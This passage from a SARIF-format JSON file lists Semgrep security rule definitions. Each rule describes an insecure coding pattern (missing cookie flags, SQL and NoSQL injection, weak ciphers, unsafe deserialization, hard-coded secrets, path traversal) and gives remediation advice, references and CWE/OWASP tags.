prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","id":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","name":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly","id":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","name":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression","id":"python.django.security.audit.extends-custom-expression.extends-custom-expression","name":"python.django.security.audit.extends-custom-expression.extends-custom-expression","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.extends-custom-expression.extends-custom-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","id":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","name":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"help":{"markdown":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check)\n - [https://pkg.go.dev/github.com/gorilla/websocket#Upgrader](https://pkg.go.dev/github.com/gorilla/websocket#Upgrader)\n","text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","id":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","name":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"help":{"markdown":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use)\n - [https://www.php.net/manual/en/intro.mcrypt.php](https://www.php.net/manual/en/intro.mcrypt.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php)\n","text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"helpUri":"https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use","id":"php.lang.security.mcrypt-use.mcrypt-use","name":"php.lang.security.mcrypt-use.mcrypt-use","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mcrypt-use.mcrypt-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH)\n - [https://csrc.nist.gov/pubs/sp/800/56/a/r3/final](https://csrc.nist.gov/pubs/sp/800/56/a/r3/final)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://weakdh.org/sysadmin.html](https://weakdh.org/sysadmin.html)\n","text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","id":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","name":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli","id":"python.aws-lambda.security.mysql-sqli.mysql-sqli","name":"python.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","id":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","name":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express","id":"javascript.express.db.mongodb-express.mongodb-express","name":"javascript.express.db.mongodb-express.mongodb-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-express.mongodb-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret)\n - [https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY](https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret","id":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","name":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.hashids-with-django-secret.hashids-with-django-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"help":{"markdown":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage)\n - [https://docs.python.org/3/library/marshal.html?highlight=security](https://docs.python.org/3/library/marshal.html?highlight=security)\n","text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage","id":"python.lang.security.audit.marshal.marshal-usage","name":"python.lang.security.audit.marshal.marshal-usage","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.marshal.marshal-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","id":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","name":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` 